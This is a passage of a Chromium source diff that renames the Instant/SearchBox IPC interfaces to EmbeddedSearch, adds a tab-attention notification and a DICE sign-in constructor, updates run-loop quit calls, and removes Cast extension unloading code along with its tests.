 #include "base/gtest_prod_util.h"
 #include "base/macros.h"
 #include "base/time/time.h"
-#include "chrome/common/instant.mojom.h"
+#include "chrome/common/search.mojom.h"
 #include "chrome/common/search/instant_types.h"
 #include "chrome/common/search/ntp_logging_events.h"
 #include "components/ntp_tiles/tile_source.h"
@@ -31,7 +31,7 @@
 // SearchIPCRouter is responsible for receiving and sending IPC messages between
 // the browser and the Instant page.
 class SearchIPCRouter : public content::WebContentsObserver,
-                        public chrome::mojom::Instant {
+                        public chrome::mojom::EmbeddedSearch {
  public:
   // SearchIPCRouter calls its delegate in response to messages received from
   // the page.
@@ -41,13 +41,13 @@
     // the omnibox focus state.
     virtual void FocusOmnibox(OmniboxFocusState state) = 0;
 
-    // Called when the SearchBox wants to delete a Most Visited item.
+    // Called when the EmbeddedSearch wants to delete a Most Visited item.
     virtual void OnDeleteMostVisitedItem(const GURL& url) = 0;
 
-    // Called when the SearchBox wants to undo a Most Visited deletion.
+    // Called when the EmbeddedSearch wants to undo a Most Visited deletion.
     virtual void OnUndoMostVisitedDeletion(const GURL& url) = 0;
 
-    // Called when the SearchBox wants to undo all Most Visited deletions.
+    // Called when the EmbeddedSearch wants to undo all Most Visited deletions.
     virtual void OnUndoAllMostVisitedDeletions() = 0;
 
     // Called to signal that an event has occurred on the New Tab Page at a
@@ -71,17 +71,18 @@
     // if the |text| is empty) into the omnibox.
     virtual void PasteIntoOmnibox(const base::string16& text) = 0;
 
-    // Called when the SearchBox wants to verify the signed-in Chrome identity
-    // against the provided |identity|. Will make a round-trip to the browser
-    // and eventually return the result through SendChromeIdentityCheckResult.
-    // Calls SendChromeIdentityCheckResult with true if the identity matches.
+    // Called when the EmbeddedSearch wants to verify the signed-in Chrome
+    // identity against the provided |identity|. Will make a round-trip to the
+    // browser and eventually return the result through
+    // SendChromeIdentityCheckResult. Calls SendChromeIdentityCheckResult with
+    // true if the identity matches.
     virtual void OnChromeIdentityCheck(const base::string16& identity) = 0;
 
-    // Called when the SearchBox wants to verify the signed-in Chrome identity
-    // against the provided |identity|. Will make a round-trip to the browser
-    // and eventually return the result through SendHistorySyncCheckResult.
-    // Calls SendHistorySyncCheckResult with true if the user syncs their
-    // history.
+    // Called when the EmbeddedSearch wants to verify the signed-in Chrome
+    // identity against the provided |identity|. Will make a round-trip to the
+    // browser and eventually return the result through
+    // SendHistorySyncCheckResult. Calls SendHistorySyncCheckResult with true if
+    // the user syncs their history.
     virtual void OnHistorySyncCheck() = 0;
   };
 
@@ -110,17 +111,17 @@
     virtual bool ShouldSubmitQuery() = 0;
   };
 
-  // Creates chrome::mojom::SearchBox connections on request.
-  class SearchBoxClientFactory {
+  // Creates chrome::mojom::EmbeddedSearchClient connections on request.
+  class EmbeddedSearchClientFactory {
    public:
-    SearchBoxClientFactory() = default;
-    virtual ~SearchBoxClientFactory() = default;
+    EmbeddedSearchClientFactory() = default;
+    virtual ~EmbeddedSearchClientFactory() = default;
 
     // The returned pointer is owned by the factory.
-    virtual chrome::mojom::SearchBox* GetSearchBox() = 0;
+    virtual chrome::mojom::EmbeddedSearchClient* GetEmbeddedSearchClient() = 0;
 
    private:
-    DISALLOW_COPY_AND_ASSIGN(SearchBoxClientFactory);
+    DISALLOW_COPY_AND_ASSIGN(EmbeddedSearchClientFactory);
   };
 
   SearchIPCRouter(content::WebContents* web_contents,
@@ -163,7 +164,7 @@
   // Called when the tab corresponding to |this| instance is deactivated.
   void OnTabDeactivated();
 
-  // chrome::mojom::Instant:
+  // chrome::mojom::EmbeddedSearch:
   void FocusOmnibox(int page_id, OmniboxFocusState state) override;
   void DeleteMostVisitedItem(int page_seq_no, const GURL& url) override;
   void UndoMostVisitedDeletion(int page_seq_no, const GURL& url) override;
@@ -185,9 +186,9 @@
                            const base::string16& identity) override;
   void HistorySyncCheck(int page_seq_no) override;
 
-  void set_search_box_client_factory_for_testing(
-      std::unique_ptr<SearchBoxClientFactory> factory) {
-    search_box_client_factory_ = std::move(factory);
+  void set_embedded_search_client_factory_for_testing(
+      std::unique_ptr<EmbeddedSearchClientFactory> factory) {
+    embedded_search_client_factory_ = std::move(factory);
   }
 
  private:
@@ -211,8 +212,8 @@
   // Used by unit tests.
   int page_seq_no_for_testing() const { return commit_counter_; }
 
-  chrome::mojom::SearchBox* search_box() {
-    return search_box_client_factory_->GetSearchBox();
+  chrome::mojom::EmbeddedSearchClient* embedded_search_client() {
+    return embedded_search_client_factory_->GetEmbeddedSearchClient();
   }
 
   Delegate* delegate_;
@@ -228,9 +229,9 @@
   // Binding for the connected main frame. We only allow one frame to connect at
   // the moment, but this could be extended to a map of connected frames, if
   // desired.
-  mojo::AssociatedBinding<chrome::mojom::Instant> binding_;
+  mojo::AssociatedBinding<chrome::mojom::EmbeddedSearch> binding_;
 
-  std::unique_ptr<SearchBoxClientFactory> search_box_client_factory_;
+  std::unique_ptr<EmbeddedSearchClientFactory> embedded_search_client_factory_;
 
   DISALLOW_COPY_AND_ASSIGN(SearchIPCRouter);
 };
diff --git a/chrome/browser/ui/search/search_ipc_router_unittest.cc b/chrome/browser/ui/search/search_ipc_router_unittest.cc
index daa0c01..40c01732 100644
--- a/chrome/browser/ui/search/search_ipc_router_unittest.cc
+++ b/chrome/browser/ui/search/search_ipc_router_unittest.cc
@@ -24,7 +24,7 @@
 #include "chrome/common/chrome_switches.h"
 #include "chrome/common/render_messages.h"
 #include "chrome/common/search/instant_types.h"
-#include "chrome/common/search/mock_searchbox.h"
+#include "chrome/common/search/mock_embedded_search_client.h"
 #include "chrome/common/search/ntp_logging_events.h"
 #include "chrome/common/url_constants.h"
 #include "chrome/test/base/browser_with_test_window_test.h"
@@ -91,10 +91,11 @@
   MOCK_METHOD0(ShouldSubmitQuery, bool());
 };
 
-class MockSearchBoxClientFactory
-    : public SearchIPCRouter::SearchBoxClientFactory {
+class MockEmbeddedSearchClientFactory
+    : public SearchIPCRouter::EmbeddedSearchClientFactory {
  public:
-  MOCK_METHOD0(GetSearchBox, chrome::mojom::SearchBox*(void));
+  MOCK_METHOD0(GetEmbeddedSearchClient,
+               chrome::mojom::EmbeddedSearchClient*(void));
 };
 
 }  // namespace
@@ -147,9 +148,10 @@
         mock_delegate());
     search_tab_helper->ipc_router_for_testing().set_policy_for_testing(
         base::WrapUnique(new MockSearchIPCRouterPolicy));
-    auto factory = base::MakeUnique<MockSearchBoxClientFactory>();
-    ON_CALL(*factory, GetSearchBox()).WillByDefault(Return(&mock_search_box_));
-    GetSearchIPCRouter().set_search_box_client_factory_for_testing(
+    auto factory = base::MakeUnique<MockEmbeddedSearchClientFactory>();
+    ON_CALL(*factory, GetEmbeddedSearchClient())
+        .WillByDefault(Return(&mock_embedded_search_client_));
+    GetSearchIPCRouter().set_embedded_search_client_factory_for_testing(
         std::move(factory));
   }
 
@@ -178,12 +180,14 @@
         .is_active_tab_;
   }
 
-  MockSearchBox* mock_search_box() { return &mock_search_box_; }
+  MockEmbeddedSearchClient* mock_embedded_search_client() {
+    return &mock_embedded_search_client_;
+  }
 
  private:
   MockSearchIPCRouterDelegate delegate_;
   base::FieldTrialList field_trial_list_;
-  MockSearchBox mock_search_box_;
+  MockEmbeddedSearchClient mock_embedded_search_client_;
 };
 
 TEST_F(SearchIPCRouterTest, ProcessFocusOmniboxMsg) {
@@ -478,7 +482,7 @@
       .WillOnce(Return(true));
 
   content::WebContents* contents = web_contents();
-  EXPECT_CALL(*mock_search_box(), SetSuggestionToPrefetch(_));
+  EXPECT_CALL(*mock_embedded_search_client(), SetSuggestionToPrefetch(_));
   GetSearchTabHelper(contents)->SetSuggestionToPrefetch(InstantSuggestion());
 }
 
@@ -491,7 +495,8 @@
       .WillOnce(Return(false));
 
   content::WebContents* contents = web_contents();
-  EXPECT_CALL(*mock_search_box(), SetSuggestionToPrefetch(_)).Times(0);
+  EXPECT_CALL(*mock_embedded_search_client(), SetSuggestionToPrefetch(_))
+      .Times(0);
   GetSearchTabHelper(contents)->SetSuggestionToPrefetch(InstantSuggestion());
 }
 
@@ -503,7 +508,7 @@
       .Times(1)
       .WillOnce(Return(true));
 
-  EXPECT_CALL(*mock_search_box(), FocusChanged(_, _));
+  EXPECT_CALL(*mock_embedded_search_client(), FocusChanged(_, _));
   GetSearchIPCRouter().OmniboxFocusChanged(OMNIBOX_FOCUS_NONE,
                                            OMNIBOX_FOCUS_CHANGE_EXPLICIT);
 }
@@ -516,7 +521,7 @@
       .Times(1)
       .WillOnce(Return(false));
 
-  EXPECT_CALL(*mock_search_box(), FocusChanged(_, _)).Times(0);
+  EXPECT_CALL(*mock_embedded_search_client(), FocusChanged(_, _)).Times(0);
   GetSearchIPCRouter().OmniboxFocusChanged(OMNIBOX_FOCUS_NONE,
                                            OMNIBOX_FOCUS_CHANGE_EXPLICIT);
 }
@@ -529,7 +534,7 @@
       .Times(1)
       .WillOnce(Return(true));
 
-  EXPECT_CALL(*mock_search_box(), SetInputInProgress(_));
+  EXPECT_CALL(*mock_embedded_search_client(), SetInputInProgress(_));
   GetSearchIPCRouter().SetInputInProgress(true);
 }
 
@@ -541,7 +546,7 @@
       .Times(1)
       .WillOnce(Return(false));
 
-  EXPECT_CALL(*mock_search_box(), SetInputInProgress(_)).Times(0);
+  EXPECT_CALL(*mock_embedded_search_client(), SetInputInProgress(_)).Times(0);
   GetSearchIPCRouter().SetInputInProgress(true);
 }
 
@@ -553,7 +558,7 @@
       .Times(1)
       .WillOnce(Return(true));
 
-  EXPECT_CALL(*mock_search_box(), MostVisitedChanged(_));
+  EXPECT_CALL(*mock_embedded_search_client(), MostVisitedChanged(_));
   GetSearchIPCRouter().SendMostVisitedItems(
       std::vector<InstantMostVisitedItem>());
 }
@@ -566,7 +571,7 @@
       .Times(1)
       .WillOnce(Return(false));
 
-  EXPECT_CALL(*mock_search_box(), MostVisitedChanged(_)).Times(0);
+  EXPECT_CALL(*mock_embedded_search_client(), MostVisitedChanged(_)).Times(0);
   GetSearchIPCRouter().SendMostVisitedItems(
       std::vector<InstantMostVisitedItem>());
 }
@@ -579,7 +584,7 @@
       .Times(1)
       .WillOnce(Return(true));
 
-  EXPECT_CALL(*mock_search_box(), ThemeChanged(_));
+  EXPECT_CALL(*mock_embedded_search_client(), ThemeChanged(_));
   GetSearchIPCRouter().SendThemeBackgroundInfo(ThemeBackgroundInfo());
 }
 
@@ -591,7 +596,7 @@
       .Times(1)
       .WillOnce(Return(false));
 
-  EXPECT_CALL(*mock_search_box(), ThemeChanged(_)).Times(0);
+  EXPECT_CALL(*mock_embedded_search_client(), ThemeChanged(_)).Times(0);
   GetSearchIPCRouter().SendThemeBackgroundInfo(ThemeBackgroundInfo());
 }
 
@@ -601,7 +606,7 @@
   MockSearchIPCRouterPolicy* policy = GetSearchIPCRouterPolicy();
   EXPECT_CALL(*policy, ShouldSubmitQuery()).Times(1).WillOnce(Return(true));
 
-  EXPECT_CALL(*mock_search_box(), Submit(_));
+  EXPECT_CALL(*mock_embedded_search_client(), Submit(_));
   GetSearchIPCRouter().Submit(EmbeddedSearchRequestParams());
 }
 
@@ -611,6 +616,6 @@
   MockSearchIPCRouterPolicy* policy = GetSearchIPCRouterPolicy();
   EXPECT_CALL(*policy, ShouldSubmitQuery()).Times(1).WillOnce(Return(false));
 
-  EXPECT_CALL(*mock_search_box(), Submit(_)).Times(0);
+  EXPECT_CALL(*mock_embedded_search_client(), Submit(_)).Times(0);
   GetSearchIPCRouter().Submit(EmbeddedSearchRequestParams());
 }
diff --git a/chrome/browser/ui/search/search_tab_helper_unittest.cc b/chrome/browser/ui/search/search_tab_helper_unittest.cc
index a00f2bb10..caa9f80 100644
--- a/chrome/browser/ui/search/search_tab_helper_unittest.cc
+++ b/chrome/browser/ui/search/search_tab_helper_unittest.cc
@@ -19,7 +19,7 @@
 #include "chrome/browser/ui/search/search_ipc_router.h"
 #include "chrome/browser/ui/tabs/tab_strip_model.h"
 #include "chrome/common/render_messages.h"
-#include "chrome/common/search/mock_searchbox.h"
+#include "chrome/common/search/mock_embedded_search_client.h"
 #include "chrome/common/url_constants.h"
 #include "chrome/grit/generated_resources.h"
 #include "chrome/test/base/browser_with_test_window_test.h"
@@ -71,10 +71,11 @@
   MOCK_METHOD0(OnHistorySyncCheck, void());
 };
 
-class MockSearchBoxClientFactory
-    : public SearchIPCRouter::SearchBoxClientFactory {
+class MockEmbeddedSearchClientFactory
+    : public SearchIPCRouter::EmbeddedSearchClientFactory {
  public:
-  MOCK_METHOD0(GetSearchBox, chrome::mojom::SearchBox*(void));
+  MOCK_METHOD0(GetEmbeddedSearchClient,
+               chrome::mojom::EmbeddedSearchClient*(void));
 };
 
 }  // namespace
@@ -87,10 +88,11 @@
     ChromeRenderViewHostTestHarness::SetUp();
     SearchTabHelper::CreateForWebContents(web_contents());
     auto* search_tab = SearchTabHelper::FromWebContents(web_contents());
-    auto factory = base::MakeUnique<MockSearchBoxClientFactory>();
-    ON_CALL(*factory, GetSearchBox()).WillByDefault(Return(&mock_search_box_));
+    auto factory = base::MakeUnique<MockEmbeddedSearchClientFactory>();
+    ON_CALL(*factory, GetEmbeddedSearchClient())
+        .WillByDefault(Return(&mock_embedded_search_client_));
     search_tab->ipc_router_for_testing()
-        .set_search_box_client_factory_for_testing(std::move(factory));
+        .set_embedded_search_client_factory_for_testing(std::move(factory));
   }
 
   content::BrowserContext* CreateBrowserContext() override {
@@ -130,11 +132,13 @@
 
   MockSearchIPCRouterDelegate* mock_delegate() { return &delegate_; }
 
-  MockSearchBox* mock_search_box() { return &mock_search_box_; }
+  MockEmbeddedSearchClient* mock_embedded_search_client() {
+    return &mock_embedded_search_client_;
+  }
 
  private:
   MockSearchIPCRouterDelegate delegate_;
-  MockSearchBox mock_search_box_;
+  MockEmbeddedSearchClient mock_embedded_search_client_;
 };
 
 TEST_F(SearchTabHelperTest, OnChromeIdentityCheckMatch) {
@@ -145,7 +149,7 @@
   ASSERT_NE(static_cast<SearchTabHelper*>(NULL), search_tab_helper);
 
   const base::string16 test_identity = base::ASCIIToUTF16("foo@bar.com");
-  EXPECT_CALL(*mock_search_box(),
+  EXPECT_CALL(*mock_embedded_search_client(),
               ChromeIdentityCheckResult(Eq(test_identity), true));
   search_tab_helper->OnChromeIdentityCheck(test_identity);
 }
@@ -161,7 +165,7 @@
   // standard form.
   const base::string16 test_identity =
       base::ASCIIToUTF16("Foo.Bar.123@gmail.com");
-  EXPECT_CALL(*mock_search_box(),
+  EXPECT_CALL(*mock_embedded_search_client(),
               ChromeIdentityCheckResult(Eq(test_identity), true));
   search_tab_helper->OnChromeIdentityCheck(test_identity);
 }
@@ -178,7 +182,7 @@
   // a standard form.
   const base::string16 test_identity =
       base::ASCIIToUTF16("chromeuser7forever@googlemail.com");
-  EXPECT_CALL(*mock_search_box(),
+  EXPECT_CALL(*mock_embedded_search_client(),
               ChromeIdentityCheckResult(Eq(test_identity), true));
   search_tab_helper->OnChromeIdentityCheck(test_identity);
 }
@@ -191,7 +195,7 @@
   ASSERT_NE(static_cast<SearchTabHelper*>(NULL), search_tab_helper);
 
   const base::string16 test_identity = base::ASCIIToUTF16("bar@foo.com");
-  EXPECT_CALL(*mock_search_box(),
+  EXPECT_CALL(*mock_embedded_search_client(),
               ChromeIdentityCheckResult(Eq(test_identity), false));
   search_tab_helper->OnChromeIdentityCheck(test_identity);
 }
@@ -204,7 +208,7 @@
   ASSERT_NE(static_cast<SearchTabHelper*>(NULL), search_tab_helper);
 
   const base::string16 test_identity = base::ASCIIToUTF16("bar@foo.com");
-  EXPECT_CALL(*mock_search_box(),
+  EXPECT_CALL(*mock_embedded_search_client(),
               ChromeIdentityCheckResult(Eq(test_identity), false));
   search_tab_helper->OnChromeIdentityCheck(test_identity);
 }
@@ -216,7 +220,7 @@
       SearchTabHelper::FromWebContents(web_contents());
   ASSERT_NE(static_cast<SearchTabHelper*>(NULL), search_tab_helper);
 
-  EXPECT_CALL(*mock_search_box(), HistorySyncCheckResult(true));
+  EXPECT_CALL(*mock_embedded_search_client(), HistorySyncCheckResult(true));
   search_tab_helper->OnHistorySyncCheck();
 }
 
@@ -227,7 +231,7 @@
       SearchTabHelper::FromWebContents(web_contents());
   ASSERT_NE(static_cast<SearchTabHelper*>(NULL), search_tab_helper);
 
-  EXPECT_CALL(*mock_search_box(), HistorySyncCheckResult(false));
+  EXPECT_CALL(*mock_embedded_search_client(), HistorySyncCheckResult(false));
   search_tab_helper->OnHistorySyncCheck();
 }
 
diff --git a/chrome/browser/ui/sync/one_click_signin_sync_starter.cc b/chrome/browser/ui/sync/one_click_signin_sync_starter.cc
index 62629c531..fc5610c 100644
--- a/chrome/browser/ui/sync/one_click_signin_sync_starter.cc
+++ b/chrome/browser/ui/sync/one_click_signin_sync_starter.cc
@@ -123,6 +123,30 @@
                  weak_pointer_factory_.GetWeakPtr(), profile_mode));
 }
 
+OneClickSigninSyncStarter::OneClickSigninSyncStarter(
+    Profile* profile,
+    Browser* browser,
+    const std::string& gaia_id,
+    const std::string& email,
+    content::WebContents* web_contents,
+    Callback callback)
+    : OneClickSigninSyncStarter(
+          profile,
+          browser,
+          gaia_id,
+          email,
+          std::string() /* password */,
+          std::string() /* refresh_token */,
+          OneClickSigninSyncStarter::CURRENT_PROFILE,
+          OneClickSigninSyncStarter::CONFIRM_SYNC_SETTINGS_FIRST,
+          web_contents,
+          OneClickSigninSyncStarter::CONFIRM_AFTER_SIGNIN,
+          GURL() /* current_url */,
+          GURL() /* continue_url */,
+          callback) {
+  DCHECK(signin::IsAccountConsistencyDiceEnabled());
+}
+
 void OneClickSigninSyncStarter::OnBrowserRemoved(Browser* browser) {
   if (browser == browser_)
     browser_ = nullptr;
diff --git a/chrome/browser/ui/sync/one_click_signin_sync_starter.h b/chrome/browser/ui/sync/one_click_signin_sync_starter.h
index c388141..ed87448 100644
--- a/chrome/browser/ui/sync/one_click_signin_sync_starter.h
+++ b/chrome/browser/ui/sync/one_click_signin_sync_starter.h
@@ -119,6 +119,19 @@
                             const GURL& continue_url,
                             Callback callback);
 
+  // Convenience method to create a sign-in sync starter for an account that
+  // is already available in the token service with the following properties:
+  // * sign-in is done in the current profile;
+  // * sync confirmation dialog is presented after sign-in.
+  //
+  // This is only available when DICE is enabled.
+  OneClickSigninSyncStarter(Profile* profile,
+                            Browser* browser,
+                            const std::string& gaia_id,
+                            const std::string& email,
+                            content::WebContents* web_contents,
+                            Callback callback);
+
   // chrome::BrowserListObserver override.
   void OnBrowserRemoved(Browser* browser) override;
 
diff --git a/chrome/browser/ui/tabs/tab_strip_model.cc b/chrome/browser/ui/tabs/tab_strip_model.cc
index edf38d15..fdd5c5a 100644
--- a/chrome/browser/ui/tabs/tab_strip_model.cc
+++ b/chrome/browser/ui/tabs/tab_strip_model.cc
@@ -501,6 +501,16 @@
     observer.TabChangedAt(GetWebContentsAtImpl(index), index, change_type);
 }
 
+void TabStripModel::TabNeedsAttentionAt(int index) {
+  DCHECK(ContainsIndex(index));
+
+  if (index == active_index())
+    return;
+
+  for (auto& observer : observers_)
+    observer.TabNeedsAttentionAt(index);
+}
+
 void TabStripModel::CloseAllTabs() {
   // Set state so that observers can adjust their behavior to suit this
   // specific condition when CloseWebContentsAt causes a flurry of
diff --git a/chrome/browser/ui/tabs/tab_strip_model.h b/chrome/browser/ui/tabs/tab_strip_model.h
index 0d47e0e..32867211 100644
--- a/chrome/browser/ui/tabs/tab_strip_model.h
+++ b/chrome/browser/ui/tabs/tab_strip_model.h
@@ -246,6 +246,11 @@
       int index,
       TabStripModelObserver::TabChangeType change_type);
 
+  // Cause a tab to display a UI indication to the user that it needs their
+  // attention. The UI indication will be cleared when the tab is next
+  // activated. Only call this for a tab that is not the active tab.
+  void TabNeedsAttentionAt(int index);
+
   // Close all tabs at once. Code can use closing_all() above to defer
   // operations that might otherwise by invoked by the flurry of detach/select
   // notifications this method causes.
diff --git a/chrome/browser/ui/tabs/tab_strip_model_observer.cc b/chrome/browser/ui/tabs/tab_strip_model_observer.cc
index acd327e0..34726ea 100644
--- a/chrome/browser/ui/tabs/tab_strip_model_observer.cc
+++ b/chrome/browser/ui/tabs/tab_strip_model_observer.cc
@@ -72,3 +72,5 @@
 
 void TabStripModelObserver::CloseAllTabsCanceled() {
 }
+
+void TabStripModelObserver::TabNeedsAttentionAt(int index) {}
diff --git a/chrome/browser/ui/tabs/tab_strip_model_observer.h b/chrome/browser/ui/tabs/tab_strip_model_observer.h
index fe73ec8..e122822 100644
--- a/chrome/browser/ui/tabs/tab_strip_model_observer.h
+++ b/chrome/browser/ui/tabs/tab_strip_model_observer.h
@@ -153,6 +153,11 @@
   virtual void WillCloseAllTabs();
   virtual void CloseAllTabsCanceled();
 
+  // The specified tab at |index| requires the display of a UI indication to the
+  // user that it needs their attention. The UI indication must be cleared when
+  // the tab is next activated.
+  virtual void TabNeedsAttentionAt(int index);
+
  protected:
   TabStripModelObserver();
   virtual ~TabStripModelObserver() {}
diff --git a/chrome/browser/ui/test/test_browser_dialog.cc b/chrome/browser/ui/test/test_browser_dialog.cc
index 5ec5e0d..cd67034 100644
--- a/chrome/browser/ui/test/test_browser_dialog.cc
+++ b/chrome/browser/ui/test/test_browser_dialog.cc
@@ -5,7 +5,7 @@
 #include "chrome/browser/ui/test/test_browser_dialog.h"
 
 #include "base/command_line.h"
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/stl_util.h"
 #include "base/test/gtest_util.h"
 #include "base/threading/thread_task_runner_handle.h"
@@ -51,7 +51,7 @@
   void OnWidgetDestroyed(views::Widget* widget) override {
     widget_->RemoveObserver(this);
     widget_ = nullptr;
-    base::MessageLoop::current()->QuitNow();
+    base::RunLoop::QuitCurrentDeprecated();
   }
 
  private:
diff --git a/chrome/browser/ui/toolbar/back_forward_menu_model_unittest.cc b/chrome/browser/ui/toolbar/back_forward_menu_model_unittest.cc
index 037f870..a112cdc 100644
--- a/chrome/browser/ui/toolbar/back_forward_menu_model_unittest.cc
+++ b/chrome/browser/ui/toolbar/back_forward_menu_model_unittest.cc
@@ -5,7 +5,6 @@
 #include "chrome/browser/ui/toolbar/back_forward_menu_model.h"
 
 #include "base/macros.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/strings/string16.h"
 #include "base/strings/string_util.h"
@@ -50,7 +49,7 @@
 
   void OnIconChanged(int model_index) override {
     was_called_ = true;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   bool was_called() const { return was_called_; }
diff --git a/chrome/browser/ui/toolbar/component_toolbar_actions_factory.cc b/chrome/browser/ui/toolbar/component_toolbar_actions_factory.cc
index 75302a2..ae3381cc 100644
--- a/chrome/browser/ui/toolbar/component_toolbar_actions_factory.cc
+++ b/chrome/browser/ui/toolbar/component_toolbar_actions_factory.cc
@@ -17,17 +17,13 @@
 #include "extensions/browser/extension_registry.h"
 
 // static
-const char ComponentToolbarActionsFactory::kCastBetaExtensionId[] =
-    "dliochdbjfkdbacpmhlcpmleaejidimm";
-const char ComponentToolbarActionsFactory::kCastExtensionId[] =
-    "boadgeojelhgndaghljhdicfkmllpafd";
 const char ComponentToolbarActionsFactory::kMediaRouterActionId[] =
     "media_router_action";
 
-ComponentToolbarActionsFactory::ComponentToolbarActionsFactory(Profile* profile)
-    : profile_(profile) {
-  if (media_router::MediaRouterEnabled(profile_) &&
-      MediaRouterActionController::IsActionShownByPolicy(profile_)) {
+ComponentToolbarActionsFactory::ComponentToolbarActionsFactory(
+    Profile* profile) {
+  if (media_router::MediaRouterEnabled(profile) &&
+      MediaRouterActionController::IsActionShownByPolicy(profile)) {
     initial_ids_.insert(kMediaRouterActionId);
   }
 }
@@ -35,6 +31,8 @@
 ComponentToolbarActionsFactory::~ComponentToolbarActionsFactory() {}
 
 std::set<std::string> ComponentToolbarActionsFactory::GetInitialComponentIds() {
+  // TODO(takumif): Instead of keeping track of |initial_ids_|, simplify by
+  // checking here whether MediaRouterAction should be visible.
   return initial_ids_;
 }
 
@@ -66,23 +64,3 @@
   NOTREACHED();
   return std::unique_ptr<ToolbarActionViewController>();
 }
-
-void ComponentToolbarActionsFactory::UnloadMigratedExtensions(
-    ExtensionService* service,
-    extensions::ExtensionRegistry* registry) {
-  // TODO(takumif): Replace the unloading of Cast and Cast Beta extensions with
-  // uninstallation.
-  UnloadExtension(service, registry, kCastExtensionId);
-  UnloadExtension(service, registry, kCastBetaExtensionId);
-}
-
-void ComponentToolbarActionsFactory::UnloadExtension(
-    ExtensionService* service,
-    extensions::ExtensionRegistry* registry,
-    const std::string& extension_id) {
-  if (registry->enabled_extensions().Contains(extension_id)) {
-    service->UnloadExtension(
-        extension_id,
-        extensions::UnloadedExtensionReason::MIGRATED_TO_COMPONENT);
-  }
-}
diff --git a/chrome/browser/ui/toolbar/component_toolbar_actions_factory.h b/chrome/browser/ui/toolbar/component_toolbar_actions_factory.h
index b902481..54f44dc 100644
--- a/chrome/browser/ui/toolbar/component_toolbar_actions_factory.h
+++ b/chrome/browser/ui/toolbar/component_toolbar_actions_factory.h
@@ -12,23 +12,16 @@
 #include "base/macros.h"
 
 class Browser;
-class ExtensionService;
 class Profile;
 class ToolbarActionsBar;
 class ToolbarActionViewController;
 
-namespace extensions {
-class ExtensionRegistry;
-}
-
 // The registry for all component toolbar actions. Component toolbar actions
 // are actions that live in the toolbar (like extension actions), but are for
 // components of Chrome, such as Media Router.
 class ComponentToolbarActionsFactory {
  public:
   // Extension and component action IDs.
-  static const char kCastBetaExtensionId[];
-  static const char kCastExtensionId[];
   static const char kMediaRouterActionId[];
 
   explicit ComponentToolbarActionsFactory(Profile* profile);
@@ -50,20 +43,7 @@
   GetComponentToolbarActionForId(const std::string& action_id,
                                  Browser* browser,
                                  ToolbarActionsBar* bar);
-
-  // Unloads extensions that were migrated to component actions and therefore
-  // are no longer needed.
-  void UnloadMigratedExtensions(ExtensionService* service,
-                                extensions::ExtensionRegistry* registry);
-
  private:
-  // Unloads an extension if it is active.
-  void UnloadExtension(ExtensionService* service,
-                       extensions::ExtensionRegistry* registry,
-                       const std::string& extension_id);
-
-  Profile* profile_;
-
   // IDs of component actions that should be added to the toolbar model when it
   // gets initialized.
   std::set<std::string> initial_ids_;
diff --git a/chrome/browser/ui/toolbar/component_toolbar_actions_factory_unittest.cc b/chrome/browser/ui/toolbar/component_toolbar_actions_factory_unittest.cc
index 35ffdb4..ec69b8c 100644
--- a/chrome/browser/ui/toolbar/component_toolbar_actions_factory_unittest.cc
+++ b/chrome/browser/ui/toolbar/component_toolbar_actions_factory_unittest.cc
@@ -32,50 +32,12 @@
   }
 
  protected:
-  scoped_refptr<const extensions::Extension> CreateExtensionWithId(
-      const std::string& extension_id) {
-    extensions::DictionaryBuilder manifest;
-    manifest.Set(extensions::manifest_keys::kName, "test name")
-        .Set(extensions::manifest_keys::kDescription, "test description")
-        .Set(extensions::manifest_keys::kManifestVersion, 1)
-        .Set(extensions::manifest_keys::kVersion, "1.0.0")
-        .Set(extensions::manifest_keys::kBrowserAction,
-             extensions::DictionaryBuilder().Build());
-
-    return extensions::ExtensionBuilder()
-        .SetManifest(manifest.Build())
-        .SetID(extension_id)
-        .SetLocation(extensions::Manifest::INTERNAL)
-        .Build();
-  }
-
-  // Adds |extension| and unloads migrated extensions. Returns true if
-  // |extension| was unloaded.
-  bool TestUnloadingMigratedExtensions(
-      scoped_refptr<const extensions::Extension> extension) {
-    service()->AddExtension(extension.get());
-    CHECK(registry()->enabled_extensions().Contains(extension->id()));
-    actions_factory_->UnloadMigratedExtensions(service(), registry());
-    return !registry()->enabled_extensions().Contains(extension->id());
-  }
-
   ComponentToolbarActionsFactory* actions_factory_ = nullptr;
 
  private:
   DISALLOW_COPY_AND_ASSIGN(ComponentToolbarActionsFactoryTest);
 };
 
-TEST_F(ComponentToolbarActionsFactoryTest, UnloadMigratedExtensions) {
-  EXPECT_TRUE(TestUnloadingMigratedExtensions(
-      CreateExtensionWithId(ComponentToolbarActionsFactory::kCastExtensionId)));
-  EXPECT_TRUE(TestUnloadingMigratedExtensions(CreateExtensionWithId(
-      ComponentToolbarActionsFactory::kCastBetaExtensionId)));
-  EXPECT_FALSE(TestUnloadingMigratedExtensions(
-      extensions::extension_action_test_util::CreateActionExtension(
-          "not_migrated_extension",
-          extensions::extension_action_test_util::BROWSER_ACTION)));
-}
-
 TEST_F(ComponentToolbarActionsFactoryTest, GetInitialIds) {
   std::string id1("id1");
   std::string id2("id2");
diff --git a/chrome/browser/ui/toolbar/toolbar_actions_model.cc b/chrome/browser/ui/toolbar/toolbar_actions_model.cc
index abbb2cf0..c453da4 100644
--- a/chrome/browser/ui/toolbar/toolbar_actions_model.cc
+++ b/chrome/browser/ui/toolbar/toolbar_actions_model.cc
@@ -254,10 +254,6 @@
   actions_initialized_ = true;
   for (Observer& observer : observers_)
     observer.OnToolbarModelInitialized();
-
-  component_actions_factory_->UnloadMigratedExtensions(
-      extensions::ExtensionSystem::Get(profile_)->extension_service(),
-      extension_registry_);
 }
 
 size_t ToolbarActionsModel::FindNewPositionFromLastKnownGood(
diff --git a/chrome/browser/ui/views/frame/browser_window_property_manager_browsertest_win.cc b/chrome/browser/ui/views/frame/browser_window_property_manager_browsertest_win.cc
index 8a6bfcfb..5674d8f 100644
--- a/chrome/browser/ui/views/frame/browser_window_property_manager_browsertest_win.cc
+++ b/chrome/browser/ui/views/frame/browser_window_property_manager_browsertest_win.cc
@@ -13,6 +13,7 @@
 #include "base/command_line.h"
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/string16.h"
 #include "base/strings/utf_string_conversions.h"
 #include "base/win/scoped_comptr.h"
@@ -51,7 +52,7 @@
